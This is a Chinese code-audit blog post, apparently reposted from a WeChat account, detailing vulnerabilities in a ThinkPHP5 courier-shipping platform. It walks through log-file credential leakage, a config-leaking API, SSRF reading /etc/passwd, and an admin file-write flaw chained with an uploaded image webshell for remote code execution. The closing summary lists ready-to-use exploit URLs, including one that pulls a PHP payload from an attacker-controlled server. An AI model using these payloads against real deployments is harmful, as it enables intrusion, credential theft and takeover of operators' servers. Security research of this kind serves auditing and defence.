[代码审计] 某全新快递平台系统

admin 2024年4月28日12:57:27评论21 views字数 2271阅读7分34秒阅读模式

请遵守法律法规,合法冲浪

本文仅作知识分享用

一切直接或间接由于本文所造成的后果与本人无关

系统简介

快递代发快递代寄寄件小程序可以对接易达云洋一级总代。快递小程序,接入云洋/易达物流接口,支持选择快递公司,三通一达,极兔,德邦等,功能成熟。由ThinkPHP5开发的全新快递平台系统。

开发语言:PHP开发框架:ThinkPHP5后台登陆:/admin/login/index.html

[代码审计] 某全新快递平台系统

代码解析

日志文件泄露

由于该系统的根目录不是TP框架常见的public目录,导致了日志文件可访问,从而导致敏感的信息泄露,例如管理员账号密码,示例如下:

[代码审计] 某全新快递平台系统

敏感信息泄露

在“源码/application/app/controller/Api.php”中,“getConfig”函数可以获取网站的一些配置信息,例如短信账号密码,管理员个人信息等。

[代码审计] 某全新快递平台系统

构造路由访问,效果如下:

[代码审计] 某全新快递平台系统

SSRF

同样在“源码/application/app/controller/Api.php”中,“httpRequest”函数中可使用“curl_exec”,并且参数“url”可控,利用成功可造成SSRF漏洞。

[代码审计] 某全新快递平台系统

构造路由和参数访问,成功访问了Google和读取“/etc/passwd”,效果如下:

[代码审计] 某全新快递平台系统

[代码审计] 某全新快递平台系统

后台文件读取/RCE

通过前面的日志泄露或文件读取获取到管理员的账号密码登录后台,在后台文件“源码/application/admin/controller/Index.php”中,“download_file”函数可以实现任意文件写入

[代码审计] 某全新快递平台系统

在该函数中,“url”、“dir”、“filename”三个参数均可,当参数“url”不为空时函数向下执行,参数“dir”可以不用传值,参数“filename”控制最终保存文件的文件名。

当函数运行到“ob_start();”时,意思是开启缓存捕捉,然后函数通过“readfile($url);”读取本地或远程的文件,并且文件内容保存在了缓存中。

当函数成功读取本地或远程的文件后,文件内容通过“$img = ob_get_contents();”传递给了变量“$img”,最后通过“$fp2 = fopen($filename, "a");”和“fwrite($fp2, $img);”将文件内容保存到了名为“$filename”的文件中。

通过分析,此处大致可以整理出以下几个利用点:

1.本地文件读取(这里以读取“./application/database.php”文件为例)

No.1 写入文件。

[代码审计] 某全新快递平台系统

No.2 访问“123.txt”文件,间接读取“./application/database.php”文件。

[代码审计] 某全新快递平台系统

2.本地任意文件写入(这里可以通过前期上传图片马,然后通过这个接口将图片马重写为php文件,从而达到RCE的效果)

No.1 先上传图片。

[代码审计] 某全新快递平台系统

No.2 写入文件。

[代码审计] 某全新快递平台系统

No.3 访问“1234.php”文件,成功RCE。

[代码审计] 某全新快递平台系统

3.远程任意文件写入(At服务器开启http服务,并将需要写入的内容保存在At服务器上)

No.1 写入文件。

[代码审计] 某全新快递平台系统

No.2 访问“12345.php”文件,成功RCE。

[代码审计] 某全新快递平台系统

漏洞总结

日志文件泄露

/runtime/log/202404/22.log

敏感信息泄露

/app/api/getconfig/app/api/getsetting

SSRF

/app/api/httpRequest?url=https://www.google.com//app/exp/httpRequest?url=https://www.google.com//app/express/httpRequest?url=https://www.google.com/# 读取本地文件/app/api/httpRequest?url=file:///etc/passwd/app/exp/httpRequest?url=file:///etc/passwd/app/express/httpRequest?url=file:///etc/passwd

后台本地文件读取

# 1.访问http://xxx.xxx.xxx/test.txt查看读取的文件/admin/index/download_file?url=./application/database.php&dir=&filename=test.txt

后台任意文件写入

# webshell地址http://xxx.xxx.xxx/test.php# 上传图片,保存为html文件打开<html><head>    <title>文件上传</title></head><body><form action="http://xxx.xxx.xxx/app/app/uploadify" method="post" enctype="multipart/form-data">  文件:<input type="file" name="file"><br>  <input type="submit" value="提交"></form></body></html># 本地任意文件写入/admin/index/download_file?url=./attachs/2024/04/22/662634ba481be.png&dir=&filename=test.php# 远程任意文件写入/admin/index/download_file?url=http://xxx.xxx.xxx/123.php&dir=&filename=test.php

[代码审计] 某全新快递平台系统

原文始发于微信公众号(实战安全研究):[代码审计] 某全新快递平台系统

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日12:57:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [代码审计] 某全新快递平台系统https://cn-sec.com/archives/2694236.html

发表评论

匿名网友 填写信息